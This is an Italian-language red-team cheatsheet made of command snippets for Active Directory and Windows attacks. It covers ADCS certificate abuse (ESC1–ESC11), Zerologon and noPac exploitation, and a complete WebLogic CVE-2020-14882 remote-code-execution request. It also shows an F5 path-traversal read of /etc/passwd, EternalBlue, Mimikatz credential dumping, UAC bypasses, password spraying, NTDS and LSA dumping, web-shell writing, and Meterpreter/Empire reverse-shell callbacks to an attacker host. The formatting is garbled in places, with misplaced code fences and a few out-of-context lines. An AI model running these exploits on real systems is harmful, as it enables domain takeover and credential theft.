Diari di un Red-Teamer

Note accessibili pubblicamente sui miei esperimenti di pentesting/red teaming testati su diversi ambienti/infrastrutture controllati che coinvolgono l'uso di vari strumenti e tecniche utilizzati da penetration tester e redteam durante una valutazione di sicurezza.

Progetto in corso

Contribuisci

Accogliamo contributi tramite pull request su GitHub.
Complimenti e grazie alle persone che hanno fatto il lavoro duro

Obiettivi

Cheatsheet per pentest/red team che raccoglie snippet di codici e comandi per aiutare il pentester durante un engagement (risparmiando tempo/ricerca veloce di un comando specifico).
Capire come gli attacchi possono essere eseguiti
Prendere appunti per riferimento futuro

Disclaimer

Solo a scopo educativo, usalo a tuo rischio.

Intrusion Kill Chain

KillChain

Mappatura della Rete

RunFinger.py

Raccoglie informazioni sul nome del dominio e sulla macchina Windows in esecuzione nella rete.```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24

oppure```bash
bash$ responder-RunFinger

Nbtscan

Scansione delle reti IP per informazioni sui nomi NetBIOS.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24

## Crackmapexec v 4.0

Scansiona il range di rete basandosi sulle informazioni SMB```bash
bash$ cme smb 192.168.1.1/24

Scansione Nmap

Scansiona tutta la rete della macchina e salva gli output .

-oA opzioni : Significa output con tutti i formati
-T4 : Scansione rapida

Scansione rapida```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP

Scansione intensiva (Non raccomandata):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP

Scansiona con enumerazione della versione dei servizi in esecuzione :

-sC : script predefiniti Equivalente a --script=default
-sV : Ottieni la versione del servizio```bash bash$ nmap -sC -sV -oA output target

## Angry IP scanner

Scarica lo strumento da questo link:
[Angry IP Scanner](http://angryip.org/download/#linux)
* Modifica le impostazioni delle preferenze
> Vai a: Preferenze -> Porte -> aggiungi 80,445,554,21,22 nella selezione delle porte <br>
> Vai a: Preferenze -> Visualizzazione -> seleziona Host Attivi <br>
> Vai a: Preferenze -> Ping -> seleziona Combinato (UDP/TCP)

# Movimento Laterale e Sfruttamento

### Active Directory Certificate Services
Questa parte è stata copiata da https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>Per maggiori dettagli controlla: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

(Testato su ambiente privato (Bloodhound poi exploit ESC1))
* Trova il server ADCS
  * `crackmapexec ldap domain.lab -u username -p password -M adcs`
  * `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Enumera le CA aziendali AD con certutil: `certutil.exe -config - -ping`, `certutil -dump`

#### ESC1 - Modelli di Certificato Malconfigurati

> Gli utenti del dominio possono registrarsi nel modello **VulnTemplate**, che può essere utilizzato per l'autenticazione client e ha impostato **ENROLLEE_SUPPLIES_SUBJECT**. Ciò permette a chiunque di iscriversi a questo modello e specificare un Nome Alternativo del Soggetto (SAN) arbitrario (ad es. come DA). Consente di associare identità aggiuntive a un certificato oltre al Soggetto.

Requisiti:
* Modello che consente l'autenticazione AD
* Flag **ENROLLEE_SUPPLIES_SUBJECT**
* [PKINIT] Autenticazione Client, Accesso Smart Card, Qualsiasi Scopo o Nessun EKU (Utilizzo Chiave Esteso/Migliorato)

Sfruttamento:
* Usa [Certify.exe](https://github.com/GhostPack/Certify) per vedere se ci sono modelli vulnerabili
    ```ps1
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # or
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    ```
* Usa Certify, [Certi](https://github.com/eloypgz/certi) o [Certipy](https://github.com/ly4k/Certipy) per richiedere un Certificato e aggiungere un nome alternativo (utente da impersonare)
    ```ps1
    # richiedi certificati per l'account macchina eseguendo Certify con l'argomento "/machine" da un prompt dei comandi elevato.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
    ```
* Usa OpenSSL e converti il certificato, non inserire una password
    ```ps1
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    ```
* Sposta il file cert.pfx nel filesystem della macchina di destinazione e richiedi un TGT per l'utente altname usando Rubeus
    ```ps1
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    ```

**ATTENZIONE**: Questi certificati saranno ancora utilizzabili anche se l'utente o il computer reimposta la propria password!

**NOTA**: Cerca i flag **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** e NTLM Relay agli Endpoint HTTP di AD CS.

#### ESC2 - Modelli di Certificato Malconfigurati

Requisiti:
* Consente ai richiedenti di specificare un Nome Alternativo del Soggetto (SAN) nel CSR e consente anche l'EKU Qualsiasi Scopo (2.5.29.37.0)

Sfruttamento:
* Trova il modello  ```ps1
  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'

Richiedi un certificato specificando /altname come amministratore di dominio, come in ESC1.

ESC3 - Modelli di Certificato per Enrollment Agent Non Configurati Correttamente

ESC3 si verifica quando un modello di certificato specifica l'EKU Certificate Request Agent (Enrollment Agent). Questo EKU può essere utilizzato per richiedere certificati per conto di altri utenti

Richiedi un certificato basato sul modello di certificato vulnerabile ESC3. ```ps1 $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC3' [*] Saved certificate and private key to 'john.pfx'
Utilizza il certificato Certificate Request Agent (-pfx) per richiedere un certificato per conto di un altro utente. ```ps1 $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC4 - Vulnerabilità del Controllo degli Accessi

Abilitare il flag mspki-certificate-name-flag per un template che consente l'autenticazione di dominio, permette agli attaccanti di "spingere una configurazione errata a un template portando alla vulnerabilità ESC1"

Cerca WriteProperty con il valore 00000000-0000-0000-0000-000000000000 usando modifyCertTemplate ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
Aggiungi il flag ENROLLEE_SUPPLIES_SUBJECT (ESS) per eseguire ESC1 ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.

C:>StandIn.exe --adcs --filter WebServer --ess --add
Esegui ESC1 e poi ripristina il valore ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag

Usare Certipy```ps1

overwrite the configuration to make it vulnerable to ESC1

certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old

request a certificate based on the ESC4 template, just like ESC1.

certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC4' -alt '[email protected]'

restore the old configuration

certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json

#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 

> Se questo flag è impostato sulla CA, qualsiasi richiesta (incluso quando il soggetto è costruito da Active Directory) può avere valori definiti dall'utente nel nome alternativo del soggetto.

Sfruttamento:
* Usa [Certify.exe](https://github.com/GhostPack/Certify) per verificare lo stato del flag **UserSpecifiedSAN** che si riferisce al flag `EDITF_ATTRIBUTESUBJECTALTNAME2`.
    ```ps1
    Certify.exe cas
    ```
* Richiedi un certificato per un template e aggiungi un altname, anche se il template predefinito `User` normalmente non consente di specificare nomi alternativi
    ```ps1
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
    ```

Mitigazione:   
* Rimuovi il flag : `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`

#### ESC7 - Controllo accessi vulnerabile dell'Autorità di Certificazione

Sfruttamento:
* Rileva le CA che consentono agli utenti con privilegi bassi le autorizzazioni `ManageCA`  o `Manage Certificates`
    ```ps1
    Certify.exe find /vulnerable
    ```
* Modifica le impostazioni della CA per abilitare l'estensione SAN per tutti i template sotto la CA vulnerabile (ESC6)
    ```ps1
    Certify.exe setconfig /enablesan /restart
    ```
* Richiedi il certificato con il SAN desiderato.
    ```ps1
    Certify.exe request /template:User /altname:super.adm
    ```
* Concedi l'approvazione se richiesto o disabilita il requisito di approvazione
    ```ps1
    # Grant
    Certify.exe issue /id:[REQUEST ID]
    # Disable
    Certify.exe setconfig /removeapproval /restart
    ```

Sfruttamento alternativo da **ManageCA** a **RCE** sul server ADCS:```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 - Attacco Relay AD CS

Un attaccante può innescare un Domain Controller usando PetitPotam per fare relay NTLM delle credenziali verso un host a scelta. Le credenziali NTLM del Domain Controller possono quindi essere inoltrate alle pagine di Active Directory Certificate Services (AD CS) Web Enrollment, e può essere richiesto un certificato DC. Questo certificato può quindi essere utilizzato per richiedere un TGT (Ticket Granting Ticket) e compromettere l'intero dominio tramite Pass-The-Ticket.

Richiede Impacket PR #1101

Versione 1: NTLM Relay + Rubeus + PetitPotam ```powershell impacket> python3 ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate

For a member server or workstation, the template would be "Computer".

Other templates: workstation, DomainController, Machine, KerberosAuthentication

Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam

You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN

git clone https://github.com/topotam/PetitPotam python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP python3 dementor.py -u -p -d python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

Use the certificate with rubeus to request a TGT

ESC9 - Nessuna Estensione di Sicurezza

Requisiti:

StrongCertificateBindingEnforcement impostato su 1 (predefinito) o 0
Il certificato contiene il flag CT_FLAG_NO_SECURITY_EXTENSION nel valore msPKI-Enrollment-Flag
Il certificato specifica l'EKU di autenticazione Any Client
GenericWrite su qualsiasi account A per compromettere qualsiasi account B

Scenario

[email protected] ha GenericWrite su [email protected] e vogliamo compromettere [email protected]. [email protected] è autorizzata a iscriversi al modello di certificato ESC9 che specifica il flag CT_FLAG_NO_SECURITY_EXTENSION nel valore msPKI-Enrollment-Flag.

Ottieni l'hash di Jane con Shadow Credentials (usando il nostro GenericWrite)
```
certipy shadow auto -username [email protected] -p Passw0rd -account Jane
```

Cambia il userPrincipalName di Jane in Administrator. ⚠️ lascia la parte @corp.local

certipy account update -username [email protected] -password Passw0rd -user Jane -upn Administrator

Richiedi il modello di certificato vulnerabile ESC9 dall'account di Jane.

certipy req -username [email protected] -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator 
# the issued certificate contains no "object SID"

Ripristina userPrincipalName di Jane a [email protected].

certipy account update -username [email protected] -password Passw0rd -user [email protected]

Autenticati con il certificato e ricevi l'hash NT dell'utente [email protected].

certipy auth -pfx administrator.pfx -domain corp.local
# Add -domain <domain> to your command line since there is no domain specified in the certificate.

ESC11 - Inoltro NTLM a ICPR

La crittografia non è applicata per le richieste ICPR e Request Disposition è impostato su Issue

Requisiti:

sploutchy/Certipy - fork di Certipy
sploutchy/impacket - fork di Impacket

Sfruttamento:

Cerca Enforce Encryption for Requests: Disabled nell'output di certipy find -u [email protected] -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
Configura un relay usando ntlmrelay di Impacket e attiva una connessione ad esso.
```
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
```

ACCOUNT COMPUTER PRE-CREATI

TROVARE ACCOUNT COMPUTER PRE-CREATI

Ad esempio, l'account computer DavesLaptop$ avrebbe la password daveslaptop

Nota che quando si ha a che fare con account computer, è saggio evitare il $ con un \.```bash impacket-smbclient /$:@

[-] SMB SessionError: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT(The account used is a computer account. Use your global user account or local user account to access this server.)

Nota: abbiamo `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`

### Cambiare La Password
Possiamo usare uno di questi:
- https://github.com/fortra/impacket/blob/master/examples/changepasswd.py
- https://github.com/api0cradle/impacket/blob/a1d0cc99ff1bd4425eddc1b28add1f269ff230a6/examples/rpcchangepwd.py```bash
python3 rpcchangepwd.py <domain>/<computer account>\$:<password>@<IP> -newpass P@ssw0rd                           31s
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Password was changed successfully.

Connettersi a SMB con le nuove credenziali```bash

Type help for list of commands

**- Riferimento : https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/**

---

### Sfruttamento di CVE-2021-42278 e CVE-2021-42287
Scarica lo script exploit https://github.com/WazeHell/sam-the-admin```bash
bash$ python3 sam_the_admin.py "<domain_name>/<username>:<password>" -dc-ip <DC_IP>

Se l'AD è vulnerabile, avremo il seguente output: Exploit AD

Scansione per Zerologon

Scanner Zerologon di SecuraBV https://github.com/SecuraBV/CVE-2020-1472
Possiamo usare crackmapexec per estrarre il nome del DC```bash bash$ python3 zerologon_tester.py EXAMPLE-DC 1.2.3.4

Se il target è vulnerabile, lo scanner mostra il seguente output:
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/scanner.png" alt="zerologon scanner">
### Sfruttare zerologon
- L'exploit potrebbe resettare la password dell'amministratore di dominio, possiamo invece usare l'exploit zer0dump https://github.com/bb00/zer0dump
- Scaricare la password dell'amministratore (cambiare il nome utente se un solo utente è preso di mira)

<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/dump-Administrator-Password.png" alt="dump NTLM" >

Ottenere una RCE tramite pass-the-hash
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/get_RCE_psexec.png" alt="RCE">

> Gli screenshot forniti sono relativi a un laboratorio personale utilizzato solo per il test POC, prestare attenzione quando si esegue l'exploit su DC in PROD (durante un engagement)

## BIGIP F5 CVE-2020-5902
Verificare se il target è vulnerabile```bash
curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

Possiamo scansionare il target usando anche Nuclei o Nmap

Nuclei https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml```bash nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -target https://

Se vengono specificati più host, usa l'argomento -l ->  
* Nmap```bash
wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse

BIGIP RCE

possiamo usare il modulo Metasploit https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4

Scansione Weblogic CVE-2020-14882

Modulo Nuclei```bash nuclei -t nuclei-templates/cves/CVE-2020-14882.yaml -target http://

Questo modulo a volte fallisce, usa -proxy-url http://127.0.0.1:8080 per reindirizzare il traffico verso Burpsuite e investigare.
## Sfruttare Weblogic CVE-2020-14882 - RCE```bash
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

Modifica cmd nell'intestazione della richiesta con qualsiasi comando di sistema (Win/Linux)
Il payload può essere trasformato in un comando curl.

Ricerca di EternalBlue ms17-010```bash

bash$ nmap -p445 --script smb-vuln-ms17-010 /24

Se il target è vulnerabile, l'output è il seguente 

Script Output<br>
Host script results:```bash
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Sfruttamento di Eternal Blue - Modulo Metasploit (solo Windows 7 x64 )

Nota :
Il modulo predefinito supportato da Metasploit sfrutta solo Windows 7 a 64 bit Altrimenti il target si bloccherà .```bash msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) > show targets ...targets... msf exploit(ms17_010_eternalblue) > set TARGET msf exploit(ms17_010_eternalblue) > show options ...show and set options... msf exploit(ms17_010_eternalblue) > exploit

## Mimikatz - Metasploit

Dopo aver ottenuto una shell meterpreter, dobbiamo assicurarci che la nostra sessione sia in esecuzione con **privilegi a livello di SYSTEM** affinché Mimikatz funzioni correttamente.```bash
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Lettura di Hash e Password dalla Memoria```bash

meterpreter > load mimikatz Loading extension mimikatz...success.

meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials

AuthID Package Domain User Password

0;78980 NTLM WINXP-E95CE571A1 Administrator lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f } 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;56683 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP WINXP-E95CE571A1$ n.s. (Credentials KO)

meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials

AuthID Package Domain User Password

0;999 NTLM WORKGROUP WINXP-E95CE571A1$
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;56683 NTLM
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;78980 NTLM WINXP-E95CE571A1 Administrator SuperSecretPassword

meterpreter > mimikatz_command -f sekurlsa::searchPasswords [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }

meterpreter > mimikatz_command -f sekurlsa::logonpasswords

## Mimikatz su Linux
Nel caso nessuna VM sia disponibile
### passo 1```bash
winetricks msasn1

passo 2```bash

╰─>$ wine /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe 0009:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.

.#####. mimikatz 2.2.0 (x86) #18362 May 13 2019 01:34:39 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)

/ \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )

\ / ## > http://blog.gentilkiwi.com/mimikatz

'## v ##' Vincent LE TOUX ( [email protected] ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz #

# Escalation dei privilegi di Windows 

### JuicyPotato```bash
JuicyPotato.exe -l <PORT> -p c:\windows\system32\cmd.exe -t *

Migrazione del Processo```bash

msf > ps msf exploit(bypassuac) > migrate

### Windows Escalation del Bypass della protezione UAC```bash
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit

Bypass della protezione UAC di Windows con escalation (Iniezione in memoria)```bash

msf > use exploit/windows/local/bypassuac_injection msf exploit(bypassuac_injection) > set session 1 msf exploit(bypassuac_injection) > exploit

### Windows Elevazione Bypass della protezione UAC (Vulnerabilità dello Script Host)```bash
msf > use windows/local/bypassuac_vbs
msf exploit(bypassuac_vbs) > set session 1
msf exploit(bypassuac_vbs) > exploit

Windows Escalate UAC Execute RunAs```bash

msf > use windows/local/ask msf exploit(ask) > set session 1 msf exploit(ask) > exploit

### MS16-032 Secondary Logon Handle Privilege Escalation  Windows 7 32 bit```bash
msf > use windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Sciatteria)```bash

msf exploit(ms13_053_schlamperei) >set session 1 msf exploit(ms13_053_schlamperei) >exploit

## Crackmapexec V4.0

Enumerare target```
bash$ cme smb <target>

Accesso alla macchina tramite username/password validi``` bash$ cme smb -u username -p password

Accesso alla macchina utilizzando l'hash NTLM (se vedi PWN3D l'utente ha privilegi di amministratore)```
bash$ cme smb <target> -u username -H hash

Elenco delle condivisioni``` bash$ cme smb -u username -p password --shares

Elenca le sessioni attive```
bash$ cme smb <target> -u username -p password --sessions

Enumera gli utenti mediante bruteforcing degli RID (default: 4000)``` bash$ cme smb -u username -p password --rid-brute

Esegui il comando specificato```
bash$ cme smb <target> -u username -p password -x 'whoami'

Esegui il comando PowerShell specificato``` bash$ cme smb -u username -p password -X 'whoami'

Ottieni Hash```
bash$ cme smb <target> -u username -p password --sam

CrackMapExec Cheat Sheet

Enumerazione iniziale```bash

crackmapexec smb

### Test dell'autenticazione null/guest ed elenco delle condivisioni```bash
crackmapexec smb targets.txt -u '' -p '' --shares

Chiavi SSH```bash

crackmapexec smb targets.txt -u 'Guest' -p '' --shares

### Enumerare utenti usando ldap```bash
crackmapexec ldap <domain> -u '' -p '' --users

Esecuzione del server

mhn &> mhn.log &```bash

crackmapexec ldap -u users.txt -p "" -k

### Asreproast```bash
crackmapexec ldap <domain> -u <username> -p "" --asreproast asrep.txt

Bloodhound```bash

crackmapexec ldap -u -p --bloodhound -ns --collection All

### Preferenze dei Criteri di Gruppo
- https://www.thehacker.recipes/ad/movement/credentials/dumping/group-policies-preferences```bash
crackmapexec smb <domain> -u <username> -p <password> -M gpp_password

Spray di Credenziali```bash

crackmapexec smb targets.txt -u -p

### Spray di password```bash
crackmapexec ldap <domain> -u users.txt -p <password> --continue-on-success

L'utente può anche definire i propri provider cloud in un file JSON, che può essere ottenuto da un URL pubblico o tramite importazione di cloud-provider-config.```bash crackmapexec ldap -u users.txt -p --no-bruteforce --continue-on-success

### STATUS_NOT_SUPPORTED: Protocollo NTLM non supportato
In questo caso possiamo usare l'opzione `-k` che utilizzerà il protocollo Kerberos per l'autenticazione.```bash
crackmapexec smb targets.txt -u <username> -p <password> -k

Elenco delle condivisioni```bash

crackmapexec smb targets.txt -u -p -k --shares

### Modulo Spider_plus
Il modulo `spider_plus` consente di elencare e scaricare tutti i file da tutte le condivisioni leggibili
#### Elenca tutti i file leggibili```bash
crackmapexec smb <domain> -u <username> -p <password> -k -M spider_plus

Scarica tutti i file```bash

crackmapexec smb -u -p -M spider_plus -o READ_ONLY=false

#### Scaricare un file specifico```bash
crackmapexec smb <domain> -u <username> -p <password> -k --get-file <target_file> <output_file> --share <sharename>

MSSQL

Test di autenticazione```bash

crackmapexec mssql targets.txt -u -p

#### Esegui comandi usando `xp_cmdshell`
- `-X` per powershell e `-x` per cmd```bash
crackmapexec mssql <domain> -u <username> -p <password> -X <command_to_execute>

Ottenere un file```bash

crackmapexec mssql -u -p --get-file <output_file> <target_file>

### Autenticazione dell'Amministratore locale```bash
crackmapexec smb <domain> -u <username> -p <password> --local-auth

Scarica i segreti LSA```bash

crackmapexec smb -u -p --local-auth --lsa

### Recupera il nome dell'account gmsa
- https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent
Abbiamo due possibilità per recuperare il nome dell'account gmsa:
- Utilizzando l'opzione `--gmsa-convert-id`:```bash
crackmapexec ldap <domain> -u <username> -p <password> --gmsa-convert-id <id>

Decifra l'account gmsa in lsa con --gmsa-decrypt-lsa:```bash crackmapexec ldap -u -p --gmsa-decrypt-lsa <gmsa_account>

### Estrai la password LAPS```bash
crackmapexec smb targets.txt -u <username> -p <password> --laps

Estrai le credenziali del dpapi```bash

crackmapexec smb targets.txt -u -p --laps --dpapi

### Estrai NTDS.dit```bash
crackmapexec smb <domain> -u <username> -p <password> --ntds

Riferimenti

Da Crackmapexec all'agente Empire

Prima configura un listener di Empire:``` (Empire: listeners) > set Name test (Empire: listeners) > set Host 192.168.10.3 (Empire: listeners) > set Port 9090 (Empire: listeners) > set CertPath data/empire.pem (Empire: listeners) > run (Empire: listeners) > list

[*] Active listeners:

ID Name Host Type Delay/Jitter KillDate Redirect Target

1 test http://192.168.10.3:9090 native 5/0.0

(Empire: listeners) >

Avvia il server API RESTful di Empire:```
#~ python empire --rest --user empireadmin --pass Password123!

[*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

Il nome utente e la password che CME utilizza per autenticarsi all'API REST di Empire sono memorizzati nel file cme.conf situato in ~/.cme/cme.conf:``` [Empire] api_host=127.0.0.1 api_port=1337 username=empireadmin password=Password123!

[Metasploit] rpc_host=127.0.0.1 rpc_port=55552 password=abc123

Quindi basta eseguire il modulo empire_exec e specificare il nome del listener:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test

Crackmapexec a Meterpreter

Possiamo usare il modulo metinject per iniettare direttamente meterpreter in memoria usando lo script Invoke-Shellcode.ps1 di PowerSploit.

Prima configura il tuo handler:``` msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(handler) > set LHOST 192.168.10.3 LHOST => 192.168.10.3 msf exploit(handler) > set exitonsession false exitonsession => false msf exploit(handler) > exploit -j [*] Exploit running as background job.

[] Started HTTPS reverse handler on https://192.168.10.3:8443 msf exploit(handler) > [] Starting the payload handler...

Quindi basta eseguire il modulo metinject e specificare i valori di LHOST e LPORT:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.1

Passaggio di shell da Empire a Meterpreter metasploit

